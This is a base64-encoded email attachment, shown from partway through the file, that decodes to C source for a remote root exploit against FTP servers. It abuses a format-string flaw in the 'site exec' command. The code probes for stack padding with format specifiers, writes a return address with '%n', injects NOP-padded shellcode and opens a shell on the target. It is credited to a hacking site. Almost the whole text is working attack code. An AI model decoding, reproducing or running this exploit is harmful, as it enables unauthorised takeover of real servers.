IHFbMjA0OF0sIGFuc1syMDQ4XTsNCg0KIHNucHJpbnRmKHEsIDIwNDgsICJzaXRlIGV4ZWMgJXMl c1xyXG4iLCBzdHIsICIlLmYiKTsNCiBpZiggc3Ryc3RyKCBxLCAiXHJcbiIpID09IE5VTEwpIHsN CiAgZnByaW50ZihzdGRlcnIsIkxpbmUgVE9PIGJpZy4uXG4iKTsNCiAgZXhpdCgtMSk7DQogfQ0K IGZ0cF9zaXRlZXhlYyhzb2NrLCBxLCBzdHJsZW4ocSksIDEsIGFucywgMjA0OCk7DQogaWYoIGJl Zm9yZV9sZW4rMTAgPCBzdHJsZW4oJmFuc1szXSkgKSByZXR1cm4gMDsNCiBiZWZvcmVfbGVuPXN0 cmxlbigmYW5zWzNdKTsNCiAodm9pZClzdHJjYXQoc3RyLCIlLmYiKTsNCiByZXR1cm4gMTsNCn0N CmludCBtYWdpY19jaGVja19vKGludCBzb2NrLCBjaGFyICpzdHIpIHsNCiBjaGFyIHFbMjA0OF0s IGFuc1syMDQ4XTsNCiAgc25wcmludGYocSwgMjA0OCwgInNpdGUgZXhlYyAlcyVzXHJcbiIsIHN0 ciwgIiVjIik7DQogIGlmKCBzdHJzdHIoIHEsICJcclxuIikgPT0gTlVMTCkgew0KICAgZnByaW50 ZihzdGRlcnIsIkxpbmUgVE9PIGJpZy4uXG4iKTsNCiAgIGV4aXQoLTEpOw0KICB9DQogZnRwX3Np dGVleGVjKCBzb2NrLCBxLCBzdHJsZW4ocSksIDEsIGFucywgMjA0OCk7DQogaWYoIGJlZm9yZV9s ZW49PSBzdHJsZW4oJmFuc1szXSkgKSB7DQogIGJlZm9yZV9sZW4rPTE7DQogICh2b2lkKXN0cmNh dChzdHIsICIlZCIpOw0KICByZXR1cm4gMzsNCiB9DQogYmVmb3JlX2xlbj1zdHJsZW4oJmFuc1sz XSk7DQogKHZvaWQpc3RyY2F0KHN0ciwiJWMiKTsNCiByZXR1cm4gMjsNCn0NCg0KaW50IG1hZ2lj X2NoZWNrX29rKCBpbnQgc29jaywgY2hhciAqc3RyKQ0Kew0KIGNoYXIgcVsyMDQ4XSwgYW5zWzIw NDhdOw0KIGludCBpICxuPTEsIGYsIHBhZGRpbmc9MDsNCgkNCiBzbnByaW50ZihxLCAyMDQ4LCJz aXRlIGV4ZWMgYWFhYWFhYWElcyVzXHJcbiIsIHN0ciwgIiVwJXAiKTsNCiBpZiAoIHN0cnN0cihx LCAiXHJcbiIgKSA9PSBOVUxMKSB7DQogIGZwcmludGYoc3RkZXJyLCAiTGluZSB0b28gbG9uZ1xu Iik7DQogIGV4aXQoLTEpOw0KIH0NCiAodm9pZCliemVybyhhbnMsIDIwNDgpOw0KIGZ0cF9zaXRl ZXhlYyhzb2NrLCBxLCBzdHJsZW4ocSksIDEsIGFucywgMjA0Nyk7DQogaWYoc3Ryc3RyKGFucywi MHg2MTYxNjE2MSIpPT1OVUxMKQ0KICAgcmV0dXJuIDA7DQogZm9yKGkgPTA7IGkgPCBNQVhfTUFH SUMgJiYgbWFnaWNbaV07IGkrKyk7DQogbWFnaWNfZFtpXT00Ow0KIHdoaWxlKG4pew0KICBmb3Io Zj0wOyBmPCAyOyBmKyspIHsNCiAgIHNucHJpbnRmKHEsIDIwNDgsInNpdGUgZXhlYyAlLipzYWFh YSVzJXNcclxuIiwgcGFkZGluZywgInh4eHgiLCBzdHIsIGY/IiVwJXAiOiIlcCIpOw0KICAgKHZv aWQpYnplcm8oYW5zLCAyMDQ4KTsNCiAgIGZ0cF9zaXRlZXhlYyhzb2NrLCBxLCBzdHJsZW4ocSks IDEsIGFucywgMjA0Nyk7DQogICBpZiggc3Ryc3RyKGFucywgIjB4NjE2MTYxNjEiKSE9TlVMTCkg ew0KICAgIGlmIChmPT0wKSB7DQogICAgIG1hZ2ljW2ldPXBhZGRpbmc7DQogICAgIHJldHVybiAx Ow0KICAgIH0gZWxzZSBpZiggZj09MSkgew0KICAgICBzdHJjYXQoc3RyLCIlcCIpOw0KICAgICBt YWdpY1tpXT1wYWRkaW5nOw0KICAgICByZXR1cm4gMTsNCiAgICB9DQogICB9DQogIH0NCiAgaWYo cGFkZGluZyA+IDQpIHsNCiAgIGZwcmludGYoc3RkZXJyLCJDYW5ub3QgY2FsY3VsYXRlIHBhZGRp bmcuLlxuIik7DQogICBleGl0KDEpOw0KICB9DQogIHBhZGRpbmcrKzsJCQ0KIH0NCiByZXR1cm4g MTsNCn0NCg0KDQppbnQgbWFnaWNfZGlnZ2VyKGludCBzb2NrKQ0Kew0KIGludCBnZXRfb3V0PTEs d2hlcmU9MCxhbGxfZmFpbGVkPU1BWF9GQUlMRUQqMixmPTAsbz0wOw0KCQ0KIGlmKG1hZ2ljX3N0 cj09TlVMTCl7DQogIGlmKChtYWdpY19zdHI9KGNoYXIqKW1hbGxvYyg0MDkyKSk9PU5VTEwpew0K ICAgcGVycm9yKCJtYWxsb2MiKTsNCiAgIGV4aXQoZXJybm8pOw0KICB9DQogfQ0KICh2b2lkKWJ6 ZXJvKG1hZ2ljX3N0ciwgNDA5Mik7DQogd2hlcmU9MDsNCiB3aGlsZShnZXRfb3V0KSB7DQogIGlu dCBxOw0KICBpZiggd2hlcmUgPj0gTUFYX01BR0lDLTEgfHwgYWxsX2ZhaWxlZCA8PSAwICkNCiAg ICByZXR1cm4gLTE7DQogIGlmKCBtYWdpY19jaGVja19mKHNvY2ssIG1hZ2ljX3N0cikgKSB7DQog ICBvPTAsZisrOw0KICAgIGlmKGY9PTEpew0KICAgICBpZighbWFnaWNbd2hlcmVdKQ0KICAgICAg bWFnaWNbd2hlcmVdPTE7DQogICAgIGVsc2UNCiAgICAgIG1hZ2ljWysrd2hlcmVdKz0xOw0KICAg IG1hZ2ljX2Rbd2hlcmVdPTE7DQogICAgfSBlbHNlDQogICAgIG1hZ2ljW3doZXJlXSs9MTsNCiAg IGFsbF9mYWlsZWQ9TUFYX0ZBSUxFRCoyOw0KICAgcHJpbnRmKCIlcyIsICIlLmYiKTsgZmZsdXNo KHN0ZG91dCk7DQogICBnb3RvIHZlcmlmeTsNCiAgfQ0KICBhbGxfZmFpbGVkLS07DQogIGlmKChx PW1hZ2ljX2NoZWNrX28oc29jayxtYWdpY19zdHIpKSl7DQogICBmPTAsbysrOw0KICAgIGlmKG89 PTEpew0KICAgICBpZighbWFnaWNbd2hlcmVdKQ0KICAgICAgbWFnaWNbMF09MTsNCiAgICAgZWxz ZQ0KICAgICAgbWFnaWNbKyt3aGVyZV0rPTE7DQogICAgbWFnaWNfZFt3aGVyZV09cTsNCiAgIH0g ZWxzZSB7DQogICAgaWYobWFnaWNfZFt3aGVyZV09PXEpDQogICAgIG1hZ2ljW3doZXJlXSs9MTsN CiAgICBlbHNlIHsNCiAgICAgbWFnaWNbKyt3aGVyZV09MTsNCiAgICAgbWFnaWNfZFt3aGVyZV09 cTsNCiAgICB9DQogICB9DQogICBhbGxfZmFpbGVkPU1BWF9GQUlMRUQqMjsNCiAgIHByaW50Zigi JXMiLCBxPT0yPyIlYyI6IiVkIik7DQogICBmZmx1c2goc3Rkb3V0KTsNCiAgIGdvdG8gdmVyaWZ5 Ow0KICB9DQogIGFsbF9mYWlsZWQtLTsNCiAgY29udGludWU7DQogIHZlcmlmeToNCiAgaWYobWFn aWNfY2hlY2tfb2soc29jayxtYWdpY19zdHIpKXsNCiAgIHB1dGNoYXIoJ1xuJyk7DQogICByZXR1 cm4gMDsNCiAgfQ0KIH0NCiByZXR1cm4gMDsNCn0NCg0KaW50IG1haW4oaW50IGFyZ2MsIGNoYXIg KmFyZ3ZbXSl7DQoJY2hhciAqYnVmZiwgKmJ1ZmZfcCwgKmJ1ZmZfcDIsIGMsIHNoZWxsY29kZVs1 MDBdLCpkaXIsKnBhc3N3ZD1zaGVsbGNvZGU7DQoJaW50IGksIHNvY2ssIG51bT0tMiwgcGFkZGlu Zz0tMSwgZ209MCwgdGVzdG1vZGU9MCxtdHlwZT0wLGJsYT0wLG9mZnNldD0wOw0KCXVfbG9uZyBy ZXRfYWRkcj0wLCBwYXNzX2FkZHI9MDsNCglmb3IoaT0wO3RhcmdbaV0ub3NfZGVzY3IhPU5VTEw7 aSsrKTsNCgl3aGlsZSgoYz1nZXRvcHQoYXJnYyxhcmd2LCJ0Omw6bTpvOnM6cjpwOk06UDp4Z2hI PyIpKSE9RU9GKXsNCglzd2l0Y2goYykgew0KCSBjYXNlICd0JzogdGFyZ2V0PW9wdGFyZzticmVh azsNCgkgY2FzZSAnbCc6DQoJICAgdXNlcm5hbWU9b3B0YXJnOw0KCSAgIHBhc3N3ZD1zdHJjaHIo b3B0YXJnLCcvJyk7DQoJICAgaWYocGFzc3dkPT1OVUxMKQ0KCSAgICB1c2FnZShhcmd2WzBdLDAp Ow0KCSAgICpwYXNzd2QrKz0oY2hhcikwOw0KCSAgIGJyZWFrOw0KCSBjYXNlICd4JzogdGVzdG1v ZGU9MTsgYnJlYWs7DQoJIGNhc2UgJ28nOiBvZmZzZXQ9YXRvaShvcHRhcmcpO2JyZWFrOw0KCSBj YXNlICdwJzogcGFzc19hZGRyPXN0cnRvdWwob3B0YXJnLCAmb3B0YXJnLDE2KTsgYnJlYWs7DQoJ IGNhc2UgJ2cnOiBnbT0xOyBicmVhazsNCgkgY2FzZSAnTSc6IGRpcj1vcHRhcmc7bXR5cGU9MTti cmVhazsNCgkgY2FzZSAnbSc6DQoJICAgew0KCSAgICBpbnQgd2hlcmU9MDsNCgkgICAgaWYoISpv cHRhcmcpIHsNCgkgICAgICBmcHJpbnRmKHN0ZGVyciwiLW0gcmVxdWlyZXMgYXJndW1lbnQsIHRy eSAtaCBmb3IgaGVscFxuIik7DQoJICAgICAgZXhpdCgxKTsNCgkgICAgfQ0KCSAgICB3aGlsZSgx KSB7DQoJICAgICAgbWFnaWNbd2hlcmVdPXN0cnRvdWwob3B0YXJnLCZvcHRhcmcsMTYpOw0KCSAg ICAgIG9wdGFyZz1zdHJjaHIob3B0YXJnLCcsJyk7DQoJICAgICAgaWYob3B0YXJnPT1OVUxMKXsN CgkgICAgICAgIHByaW50ZigiY29tbWEgbWlzc2luZ1xuIik7DQoJCWV4aXQoMSk7DQoJICAgICAg fQ0KCSAgICAgIG9wdGFyZysrOw0KCSAgICAgIG1hZ2ljX2Rbd2hlcmUrK109c3RydG91bChvcHRh cmcsJm9wdGFyZywxNik7DQoJICAgICAgaWYoc3RyY2hyKG9wdGFyZywnOicpPT1OVUxMKXsNCgkg ICAgICAgbWFnaWNbd2hlcmVdPW1hZ2ljX2Rbd2hlcmVdPTA7DQoJICAgICAgIGJyZWFrOw0KCSAg ICAgIH0NCgkgICAgICBvcHRhcmc9c3RyY2hyKG9wdGFyZywnOicpOw0KCSAgICAgIG9wdGFyZysr Ow0KCSAgICB9DQoJICAgfQ0KCSAgIGJyZWFrOw0KCSAgY2FzZSAncyc6DQoJICAgIG51bT1hdG9p KG9wdGFyZyk7DQoJICAgIGlmKG51bT5pKSB7DQoJICAgICBmcHJpbnRmKHN0ZGVyciwic3lzdHlw ZSB0b28gYmlnLCB0cnkgLWggZm9yIGhlbHBcbiIpOw0KCSAgICAgZXhpdCgxKTsNCgkgICAgfSAN CgkgICAgYnJlYWs7DQoJICBjYXNlICdyJzoNCgkgICAgcmV0X2FkZHI9c3RydG91bChvcHRhcmcs Jm9wdGFyZywxNik7DQoJICAgIGJyZWFrOw0KCSAgY2FzZSAnUCc6DQoJICAgIHBhZGRpbmc9YXRv aShvcHRhcmcpOw0KCSAgICBicmVhazsNCgkgIGNhc2UgJ0gnOg0KCSAgICAgYmxhPTI7DQoJICBk ZWZhdWx0OiB1c2FnZShhcmd2WzBdLGJsYSk7YnJlYWs7DQoJIH0NCiAgICAgICAgfQ0KCWlmKHRh cmdldD09TlVMTCl7DQoJICBmcHJpbnRmKHN0ZGVyciwiTm8gdGFyZ2V0IHNwZWNpZmllZCwgdHJ5 IC1oIGZvciBoZWxwXG4iKTsNCgkgIGV4aXQoMSk7DQoJfQ0KCWlmKG51bT09LTF8fG51bT09LTIp IHsNCgkgIGZvcihpPTA7IXRhcmdbaV0uZGVmO2krKyk7DQoJICBudW09aTsNCgl9DQoJKHZvaWQp bWVtY3B5KCh2b2lkKikmZ2V0aXQsKHZvaWQqKSZ0YXJnW251bV0sc2l6ZW9mKHN0cnVjdCB0YXJn ZXRzKSk7DQoNCglpZihtYWdpY1sxXSE9MCkgew0KCSBtZW1jcHkoKHZvaWQqKWdldGl0Lm1hZ2lj LG1hZ2ljLHNpemVvZihtYWdpYykpOw0KCSBtZW1jcHkoKHZvaWQqKWdldGl0Lm1hZ2ljX2QsbWFn aWNfZCxzaXplb2YobWFnaWMpKTsNCgl9DQoNCglpZihyZXRfYWRkcilnZXRpdC5hZGRyX3JldF9h ZGRyPXJldF9hZGRyOw0KCWlmKHBhc3NfYWRkcilnZXRpdC5wYXNzX2FkZHI9cGFzc19hZGRyOw0K DQoJZ2V0aXQuYWRkcl9yZXRfYWRkcis9KG9mZnNldCo0KTsNCg0KIAlzb2NrPWNvbm5lY3RfdG9f c2VydmVyKHRhcmdldCk7DQoJbWVtc2V0KHNoZWxsY29kZSwgJ1x4OTAnLCBzaXplb2Yoc2hlbGxj b2RlKSk7DQoJc2hlbGxjb2RlW3NpemVvZihzaGVsbGNvZGUpLTFdPShjaGFyKTA7DQoJaWYoIW10 eXBlKXsNCgkgbWVtY3B5KCh2b2lkKikmc2hlbGxjb2RlW3NpemVvZihzaGVsbGNvZGUpLXN0cmxl bihnZXRpdC5zaGVsbGNvZGUpLTFdLCh2b2lkKilnZXRpdC5zaGVsbGNvZGUsIHN0cmxlbihnZXRp dC5zaGVsbGNvZGUpKzEpOw0KCSBzaGVsbGNvZGVbc2l6ZW9mKHNoZWxsY29kZSktMV09KGNoYXIp MDsNCgl9ZWxzZXsNCgkgbWVtY3B5KCh2b2lkKikmc2hlbGxjb2RlWzI1MC1zdHJsZW4oZ2V0aXQu c2hlbGxjb2RlKS0xXSwodm9pZCopZ2V0aXQuc2hlbGxjb2RlLHN0cmxlbihnZXRpdC5zaGVsbGNv ZGUpKTsNCgkgc2hlbGxjb2RlWzI1MC0xXT0oY2hhcikwOw0KCX0NCglwcmludGYoIlRhcmdldDog JXMgKCVzLyVzKTogJXNcbiIsdGFyZ2V0LHVzZXJuYW1lLCpwYXNzd2Q9PSdceDkwJz8iPHNoZWxs Y29kZT4iOnBhc3N3ZCxnZXRpdC5vc19kZXNjcik7DQoJcHJpbnRmKCJSZXR1cm4gQWRkcmVzczog MHglMDhseCwgQWRkclJldEFkZHI6IDB4JTA4bHgsIFNoZWxsY29kZTogJWRcblxuIixnZXRpdC5w YXNzX2FkZHIsZ2V0aXQuYWRkcl9yZXRfYWRkcixzdHJsZW4oZ2V0aXQuc2hlbGxjb2RlKSk7DQoN CglidWZmPShjaGFyICopbWFsbG9jKDEwMjQpOw0KCWJ6ZXJvKGJ1ZmYsMTAyNCk7DQoNCgkodm9p ZClmdHBfcmVjdihzb2NrLE5VTEwsMCwxKTsNCg0KCSh2b2lkKWZ0cF9sb2dpbihzb2NrLHVzZXJu YW1lLHBhc3N3ZCk7DQoNCglpZihnbXx8KG1hZ2ljX3N0cj09TlVMTCYmZ2V0aXQubWFnaWNbMF09 PTApKXsNCgkgcHJpbnRmKCJTVEVQIDJBOiBHZW5lcmF0aW5nIG1hZ2ljIHN0cmluZzogIik7DQoJ IGZmbHVzaChzdGRvdXQpOw0KCSBtYWdpY19kaWdnZXIoc29jayk7DQoJIG1lbWNweSgodm9pZCAq KWdldGl0Lm1hZ2ljLCh2b2lkKiltYWdpYyxzaXplb2YobWFnaWMpKTsNCgkgbWVtY3B5KCh2b2lk KilnZXRpdC5tYWdpY19kLCh2b2lkKiltYWdpY19kLHNpemVvZihtYWdpY19kKSk7DQoJIHByaW50 ZigiU1RFUCAyQjogTUFHSUMgU1RSSU5HOiBbIik7DQoJfSBlbHNlIHsNCgkgIHByaW50ZigiU1RF UCAyIDogU2tpcHBpbmcsIG1hZ2ljIG51bWJlciBhbHJlYWR5IGV4aXN0czogWyIpOw0KCX0NCglm b3IoaT0wO2k8TUFYX01BR0lDJiZnZXRpdC5tYWdpY1tpXSE9MDtpKyspew0KCSBwcmludGYoIiUw MlgsJTAyWCIsZ2V0aXQubWFnaWNbaV0sZ2V0aXQubWFnaWNfZFtpXSk7DQoJIGlmKGdldGl0Lm1h Z2ljW2krMV0hPTApDQoJICAgICBwdXRjaGFyKCc6Jyk7DQoJfQ0KCXByaW50ZigiXVxuIik7DQoJ YnVmZj0oY2hhciAqKXJlYWxsb2MoYnVmZiwgNDA5Mik7DQoJKHZvaWQpYnplcm8oYnVmZiwgNDA5 Mik7DQogICAgICAgIGlmKG10eXBlKQ0KICAgICAgICAgZnRwX21rY2hkaXIoc29jayxkaXIsc2hl bGxjb2RlKTsNCglwcmludGYoIlNURVAgMyA6IENoZWNraW5nIGlmIHdlIGNhbiByZWFjaCBvdXIg cmV0dXJuIGFkZHJlc3MgYnkgZm9ybWF0IHN0cmluZ1xuIik7DQoJaWYoIW1hZ2ljX3N0cil7DQoJ ICBtYWdpY19zdHI9KGNoYXIqKW1hbGxvYygyMDQ4KTsNCgkgIGlmKG1hZ2ljX3N0cj09TlVMTCkg ew0KCSAgICBwZXJyb3IoIm1hbGxvYyIpOw0KCSAgICBleGl0KGVycm5vKTsNCgkgIH0NCgkgICh2 b2lkKWJ6ZXJvKG1hZ2ljX3N0ciwyMDQ4KTsNCgkgIGZvcihpPTA7aTxNQVhfTUFHSUMmJmdldGl0 Lm1hZ2ljW2ldIT0wO2krKyl7DQoJICAgc3dpdGNoKGdldGl0Lm1hZ2ljX2RbaV0pIHsNCgkgICAg Y2FzZSAxOg0KCSAgICAgICBmb3IobnVtPTA7bnVtPGdldGl0Lm1hZ2ljW2ldO251bSsrKXN0cmNh dChtYWdpY19zdHIsIiUuZiIpOw0KCSAgICAgICBicmVhazsNCgkgICAgY2FzZSAyOg0KCSAgICAg ICBmb3IobnVtPTA7bnVtPGdldGl0Lm1hZ2ljW2ldO251bSsrKXN0cmNhdChtYWdpY19zdHIsIiVj Iik7DQoJICAgICAgIGJyZWFrOw0KCSAgICBjYXNlIDM6DQoJICAgICAgIGZvcihudW09MDtudW08 Z2V0aXQubWFnaWNbaV07bnVtKyspc3RyY2F0KG1hZ2ljX3N0ciwiJWQiKTsNCgkgICAgICAgYnJl YWs7DQoJICAgIGNhc2UgNDppZihwYWRkaW5nPDApcGFkZGluZz1nZXRpdC5tYWdpY1tpXTticmVh azsNCgkgICAgZGVmYXVsdDpmcHJpbnRmKHN0ZGVyciwiU1RFUCAzOiBJTnRlcm5hbCBlcnJvclxu Iik7DQoJICAgICAgIGV4aXQoMSk7DQoJICAgICAgIGJyZWFrOw0KIAkgIH0NCgkgfQ0KCX0NCglp ZihwYWRkaW5nPDApew0KCSAgZm9yKG51bT0wO251bTxNQVhfTUFHSUMmJmdldGl0Lm1hZ2ljX2Rb bnVtXSE9NDtudW0rKyk7DQoJICBpZihudW08KE1BWF9NQUdJQy0xKSkNCgkgICAgcGFkZGluZz1n ZXRpdC5tYWdpY1tudW1dOw0KCSAgZWxzZQ0KCSAgICBmcHJpbnRmKHN0ZGVyciwiV0FSTklORzog UFJPQkxFTVMgV0lUSCBQQURESU5HXG4iKTsNCgl9DQoJDQoJaWYoIWdldGl0LmlzbGludXgpew0K IAkgaWYoIXRlc3Rtb2RlKQ0KCSAgIHNucHJpbnRmKGJ1ZmYsNDA5Niwic2l0ZSBleGVjICUuKnMl YyVjJWMlYyVzfCVzXHJcbiIscGFkZGluZywieHh4eHh4eHh4eHh4eHh4eHh4eCIsTUFLRV9TVFJf RlJPTV9SRVQoZ2V0aXQuYWRkcl9yZXRfYWRkciksbWFnaWNfc3RyLCIlcCIpOw0KCSBlbHNlDQoJ ICAgc25wcmludGYoYnVmZiw0MDk2LCJzaXRlIGV4ZWMgJS4qcyVjJWMlYyVjJXN8JXNcclxuIixw YWRkaW5nLCJ4eHh4eHh4eHh4eHh4eHh4eHh4IixNQUtFX1NUUl9GUk9NX1JFVChnZXRpdC5wYXNz X2FkZHIpLG1hZ2ljX3N0ciwiJXAiKTsNCgl9IGVsc2Ugew0KIAkgaWYoIXRlc3Rtb2RlKQ0KCSAg IHNucHJpbnRmKGJ1ZmYsNDA5Niwic2l0ZSBleGVjICUuKnMlYyVjXHhmZiVjJWMlc3wlc1xyXG4i LHBhZGRpbmcsInh4eHh4eHh4eHh4eHh4eHh4eHgiLE1BS0VfU1RSX0ZST01fUkVUKGdldGl0LmFk ZHJfcmV0X2FkZHIpLG1hZ2ljX3N0ciwiJXAiKTsNCgkgZWxzZQ0KCSAgIHNucHJpbnRmKGJ1ZmYs NDA5Niwic2l0ZSBleGVjICUuKnMlYyVjXHhmZiVjJWMlc3wlc1xyXG4iLHBhZGRpbmcsInh4eHh4 eHh4eHh4eHh4eHh4eHgiLE1BS0VfU1RSX0ZST01fUkVUKGdldGl0LnBhc3NfYWRkciksbWFnaWNf c3RyLCIlcCIpOw0KCX0NCglzbGVlcChnZXRpdC5kZWxheSk7DQoJZmZsdXNoKHN0ZG91dCk7DQoJ aWYoKGJ1ZmZfcD0oY2hhciAqKW1hbGxvYyg0MDk2KSk9PU5VTEwpew0KCSAgZnByaW50ZihzdGRl cnIsIm1hbGxvYyBmYWlsZWQuXG4iKTsNCgkgIGV4aXQoMSk7DQoJfQ0KCSh2b2lkKWJ6ZXJvKGJ1 ZmZfcCw0MDk2KTsNCglmdHBfc2l0ZWV4ZWMoc29jayxidWZmLHN0cmxlbihidWZmKSwxLGJ1ZmZf cCw0MDk1KTsNCglpZigoYnVmZl9wMj1zdHJjaHIoYnVmZl9wLCdccicpKSE9TlVMTCkNCgkgKmJ1 ZmZfcDI9KGNoYXIpMDsNCglpZigoYnVmZl9wMj1zdHJjaHIoYnVmZl9wLCdcbicpKSE9TlVMTCkN CgkgKmJ1ZmZfcDI9KGNoYXIpMDsNCglidWZmX3AyPXN0cnN0cihidWZmX3AsInwweCIpOw0KCWlm KGJ1ZmZfcDI9PU5VTEwpew0KCSAgZnByaW50ZihzdGRlcnIsIkZpeCBtZSwgaW5jb3JyZWN0IHJl c3BvbnNlIGZyb20gJyUlcCc6JXNcbiIsYnVmZl9wKTsNCgkgIGV4aXQoMSk7DQoJfQ0KCWJ1ZmZf cDIrPTM7DQoJaWYoIXRlc3Rtb2RlKQ0KCSAgcHJpbnRmKCJTVEVQIDQgOiBQdHIgYWRkcmVzcyB0 ZXN0OiAweCVzIChpZiBpdCBpcyBub3QgMHglMDhseCBeQyBtZSBub3cpXG4iLGJ1ZmZfcDIsZ2V0 aXQuYWRkcl9yZXRfYWRkcik7DQoJZWxzZQ0KCSAgcHJpbnRmKCJTVEVQIDQgOiBQdHIgYWRkcmVz cyB0ZXN0OiAweCVzIChpZiBpdCBpcyBub3QgMHglMDhseCBeQyBtZSBub3cpXG4iLGJ1ZmZfcDIs Z2V0aXQucGFzc19hZGRyKTsNCglzbGVlcChnZXRpdC5kZWxheSk7DQoJYnVmZl9wMj1zdHJzdHIo YnVmZiwgIiUuZiIpOw0KCSpidWZmX3AyKys9KGNoYXIgKTA7DQoJc3RyY3B5KGJ1ZmZfcCwgYnVm Zik7DQoJaWYoIXRlc3Rtb2RlKQ0KCSAgc3ByaW50ZihidWZmX3Arc3RybGVuKGJ1ZmZfcCksIiVz JXUlYyIsIiVkJS4iLCh1X2ludClnZXRpdC5wYXNzX2FkZHIsJ2QnKTsNCgllbHNlDQoJICBzcHJp bnRmKGJ1ZmZfcCtzdHJsZW4oYnVmZl9wKSwiJXMiLCIlZCVkIik7DQoJc3RyY3B5KGJ1ZmZfcCtz dHJsZW4oYnVmZl9wKSwgYnVmZl9wMik7DQoJYnVmZl9wMj1zdHJjaHIoYnVmZl9wLCd8Jyk7DQoJ YnVmZl9wMisrOw0KCXByaW50ZigiU1RFUCA1IDogU2VuZGluZyBjb2RlLi4gdGhpcyB3aWxsIHRh a2UgYWJvdXQgMTAgc2Vjb25kcy5cbiIpOw0KCWlmKCF0ZXN0bW9kZSl7DQoJICBzdHJjcHkoYnVm Zl9wMiwiJW5cclxuIik7DQoJICBmdHBfc2VuZChzb2NrLGJ1ZmZfcCxzdHJsZW4oYnVmZl9wKSww LE5VTEwsMCk7DQoJfSBlbHNlIHsNCgkgICh2b2lkKWJ6ZXJvKGJ1ZmYsNDA5Nik7DQoJICBzdHJj cHkoYnVmZl9wMiwiJXNcclxuIik7DQoJICBmdHBfc2VuZChzb2NrLGJ1ZmZfcCxzdHJsZW4oYnVm Zl9wKSwxLGJ1ZmYsNDA5Mik7DQoJICBwcmludGYoImdvdCBhbnN3ZXI6ICVzXG4iLGJ1ZmYpOw0K CSAgZXhpdCgwKTsNCgl9DQoJZnJlZShidWZmX3ApOw0KCWZyZWUoYnVmZik7DQoJc2lnbmFsKFNJ R0lOVCwgU0lHX0lHTik7DQoJc2lnbmFsKFNJR0hVUCwgU0lHX0lHTik7DQoJcHJpbnRmKFJFRCJQ cmVzcyBeXFwgdG8gbGVhdmUgc2hlbGwiTk9STSJcbiIpOw0KCXByb2Nlc3NfcG9zc2libHlfcm9v dGVkKHNvY2spOw0KCXJldHVybiAwOw0KfQ0KLyogICAgICAgICAgICAgICAgICAgIHd3dy5oYWNr LmNvLnphICAgICAgICAgICBbMjUgSnVuZV0qLw== --Boundary-=_UbdubzvaFspqpqWuZiFWOVydDWyV-- (5246013) ------------------------------------------(Ombruten)